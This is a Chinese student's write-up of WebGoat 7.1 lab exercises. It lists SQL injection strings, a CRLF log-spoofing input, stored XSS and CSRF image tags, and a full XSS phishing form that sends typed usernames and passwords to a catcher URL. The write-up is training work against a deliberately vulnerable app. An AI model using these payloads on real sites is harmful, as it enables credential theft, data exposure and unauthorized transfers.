1.开启webgoat
输入java -jar webgoat-container-7.1-exec.jar
在浏览器输入localhost:8080/WebGoat
,进入webgoat
2.SQL字符串注入(String SQL Injection)
让我们试一试使用SQL注入,从而显示出所有信用卡号。可以先输入Smith试一试,发现出现在SELECT * FROM user_data WHERE last_name = ‘Smith‘
两个单引号中间,也就是我们可以通过控制在输入框中输入的字符串,达到控制select语句的目的。
输入‘or 1=‘1
,语句就变成SELECT * FROM user_data WHERE last_name = ‘‘or 1=‘1‘
,这句的意思就是查询lastname=‘‘ OR
(或者)1=‘1‘ ,这里的 1=‘1‘ 永远为真,所以成功通过。
3.日志欺骗(Log Spoofing)
lzm%0d%0aLogin Succeeded for username: admin
4.Numeric SQL Injection
inspect Element
对源代码进行修改,在任意一个值比如101旁边加上or 1=1;5.Command Injection
inspect Element
对源代码进行修改,右键点击BackDoors.help,,这样就可以直接定位到需要修改的位置,无需一行一行代码的查看了6.Stage 1:String SQL Injection
对字符长度进行修改
重新登录,登录成功
7.Phishing with XSS
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
8.Stored XSS Attacks
<script>alert("5213 attack succeed!");</script>
,提交后,可以发现刚刚创建的帖子201552139.Cross Site Request Forgery(CSRF)
在message框中输入
<img src="http://localhost:8080/WebGoat/attack?
Screen=288&menu=900&transferFunds=5213"/>
提交后在下面的Message List里面可以看我刚刚发送的消息
点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5213元,从而达到CSRF攻击的目的
这次实验确实学到了很多东西,原来还有这么个集成攻击小东西,练习中对xss,sql注入有了进一步认识,就先做8个吧。
原文:https://www.cnblogs.com/elevator/p/9042537.html